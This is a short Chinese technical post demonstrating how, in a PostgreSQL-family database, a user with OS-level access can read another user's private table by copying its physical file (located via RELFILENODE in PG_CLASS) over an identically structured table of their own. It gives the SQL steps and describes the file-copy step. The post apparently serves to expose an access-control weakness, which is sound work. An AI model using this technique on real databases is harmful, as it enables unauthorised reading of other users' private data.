这并不是什么黑科技,只是借用PG存储中RELFILENODE信息,借助DBA用户的OS权限,可实现从TBL1中读数据时,映射TBL2的实际物理文件,达到越权访问的目的。
1. 创建权限最小化的两个用户
SQL语句如下:
CREATE USER myuser01 PASSWORD 'gauss@123';
CREATE USER myuser02 PASSWORD 'gauss@124';
2. 用户A创建自己的私有表,并INSERT数据
SQL语句如下:
CREATE TABLE myuser01.mytbl01 (name TEXT);
INSERT INTO myuser01.mytbl01 VALUES ('Wang'), ('Song'), ('Zhang');
3. 用户B借用OS权限,读取用户A的私有表信息
3.1. 用户B登录后直接读取用户A私有表信息失败
SELECT * FROM myuser01.mytbl01;
3.2. 用户B创建自己的私有表,其表结构与用户A私有表结构一致
\d+ myuser01.mytbl01
CREATE TABLE myuser02.mytbl02 (name TEXT);
3.3. 用户B查看自己的私有表以及用户A私有表的RELFILENODE信息
SELECT OID, DATNAME FROM PG_DATABASE WHERE DATNAME='POSTGRES';
SELECT OID, RELFILENODE, RELNAME FROM PG_CLASS WHERE RELNAME='MYTBL01' OR RELNAME='MYTBL02';
3.4. 借助OS权限,将用户A私有表的物理文件拷贝至用户B私有表下面
3.5. 用户B查看自己的私有表数据信息,此时用户A私有信息已泄露
SELECT * FROM myuser02.mytbl02;